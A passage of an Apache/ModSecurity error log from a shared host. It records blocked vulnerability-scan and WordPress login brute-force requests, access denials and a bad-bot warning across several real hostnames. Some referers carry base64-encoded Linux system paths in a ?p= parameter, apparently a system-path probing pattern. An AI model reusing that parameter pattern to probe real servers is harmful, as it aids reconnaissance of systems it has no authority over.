(phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/posix/tests/posix_access_error_wrongparams.phpt"] [unique_id "ai3z9VWSojQL4F7upKCLCgAAAJM"] [Sat Jun 13 18:21:09.424080 2026] [access_compat:error] [pid 648189:tid 648346] [remote 57.141.14.38:28659] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:09.424437 2026] [access_compat:error] [pid 648189:tid 648346] [remote 57.141.14.38:28659] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:09.474036 2026] [security2:error] [pid 648189:tid 648293] [remote 17.246.19.136:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 136.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z9VWSojQL4F7upKCLDwAAp0c"] [Sat Jun 13 18:21:09.516623 2026] [access_compat:error] [pid 648189:tid 648324] [remote 57.141.14.85:38426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:09.516923 2026] [access_compat:error] [pid 648189:tid 648324] [remote 57.141.14.85:38426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:09.604066 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2U= [Sat Jun 13 18:21:09.604333 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2U= [Sat Jun 13 18:21:09.730676 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.26:23028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:09.731108 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.26:23028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:09.889621 2026] [security2:error] [pid 648189:tid 648246] [remote 17.22.237.133:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z9VWSojQL4F7upKCLIAAAzRk"] [Sat Jun 13 18:21:10.081546 2026] [security2:error] [pid 646876:tid 647005] [remote 17.241.75.110:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z9tyTkdrNlD40tSHEOwAAGX4"] [Sat Jun 13 18:21:10.134235 2026] [access_compat:error] [pid 646876:tid 646975] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:21:10.134510 2026] [access_compat:error] [pid 646876:tid 646975] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:21:10.646970 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:21:10.647245 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:21:10.811557 2026] [security2:error] [pid 646876:tid 646982] [remote 193.115.126.168:36488] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.126.115.193.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "makulapictures.com"] [uri "/wp-login.php"] [unique_id "ai3z9tyTkdrNlD40tSHERwAAWGc"] [Sat Jun 13 18:21:10.845356 2026] [security2:error] [pid 646876:tid 646946] [remote 37.27.234.213:59198] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mngroup.com.au"] [uri "/wp-login.php"] [unique_id "ai3z9tyTkdrNlD40tSHESAAAA0M"] [Sat Jun 13 18:21:10.853112 2026] [security2:error] [pid 648189:tid 648314] [remote 17.241.227.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z9lWSojQL4F7upKCLPgAAuFw"] [Sat Jun 13 18:21:10.853730 2026] [access_compat:error] [pid 648189:tid 648349] [remote 57.141.14.15:28993] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:10.854002 2026] [access_compat:error] [pid 648189:tid 648349] [remote 57.141.14.15:28993] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:11.031916 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.63:38760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:11.032182 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.63:38760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:11.033362 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.40:26034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:11.033785 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.40:26034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:11.159511 2026] [access_compat:error] [pid 646876:tid 646931] [remote 57.141.14.63:38776] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:11.159790 2026] [access_compat:error] [pid 646876:tid 646931] [remote 57.141.14.63:38776] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:11.178250 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:21:11.178599 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:21:11.525869 2026] [security2:error] [pid 646876:tid 647041] [client 192.178.6.40:45263] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.6.178.192.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "onemontgomerygreen.org"] [uri "/index.php/become-a-volunteer/"] [unique_id "ai3z99yTkdrNlD40tSHEZgAAACE"], referer: https://onemontgomerygreen.org/calendarevents/tag/urban-farming/ [Sat Jun 13 18:21:11.540041 2026] [security2:error] [pid 646876:tid 646927] [remote 37.27.234.213:59198] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mngroup.com.au"] [uri "/wp-login.php"] [unique_id "ai3z99yTkdrNlD40tSHEZwAAWjA"], referer: https://mngroup.com.au/wp-login.php [Sat Jun 13 18:21:11.623797 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.102:22439] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:11.624069 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.102:22439] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:11.725263 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:21:11.725714 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:21:11.885432 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.36:64098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:11.885888 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.36:64098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:11.905540 2026] [access_compat:error] [pid 646876:tid 646950] [remote 57.141.14.80:20755] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:11.906037 2026] [access_compat:error] [pid 646876:tid 646950] [remote 57.141.14.80:20755] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:11.954207 2026] [security2:error] [pid 646876:tid 646903] [remote 17.22.237.27:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z99yTkdrNlD40tSHEdAAAOhg"] [Sat Jun 13 18:21:12.088461 2026] [security2:error] [pid 648189:tid 648268] [remote 17.241.219.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z-FWSojQL4F7upKCLWAAA_i4"] [Sat Jun 13 18:21:12.102508 2026] [access_compat:error] [pid 648189:tid 648279] [remote 57.141.14.49:21989] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:12.102929 2026] [access_compat:error] [pid 648189:tid 648279] [remote 57.141.14.49:21989] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:12.261487 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvYXRrYmQvc2VyaW8w [Sat Jun 13 18:21:12.261774 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvYXRrYmQvc2VyaW8w [Sat Jun 13 18:21:12.398320 2026] [security2:error] [pid 646876:tid 646888] [remote 17.246.23.31:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z-NyTkdrNlD40tSHEgAAATwk"] [Sat Jun 13 18:21:12.442474 2026] [security2:error] [pid 646876:tid 646914] [remote 17.22.253.212:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 212.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z-NyTkdrNlD40tSHEhAAAXiM"] [Sat Jun 13 18:21:12.664976 2026] [access_compat:error] [pid 646876:tid 646951] [remote 57.141.14.66:38450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:12.665235 2026] [access_compat:error] [pid 646876:tid 646951] [remote 57.141.14.66:38450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:12.776183 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvaW5wdXQvaW5wdXQ3L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:21:12.776495 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvaW5wdXQvaW5wdXQ3L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:21:12.868160 2026] [security2:error] [pid 646876:tid 647131] [client 74.7.241.160:54176] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "404"] [hostname "syscorpoeducacion.org"] [uri "/cgi-sys/404.html"] [unique_id "ai3z-NyTkdrNlD40tSHEoQAAAHs"] [Sat Jun 13 18:21:13.124171 2026] [security2:error] [pid 648189:tid 648289] [remote 17.241.75.240:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 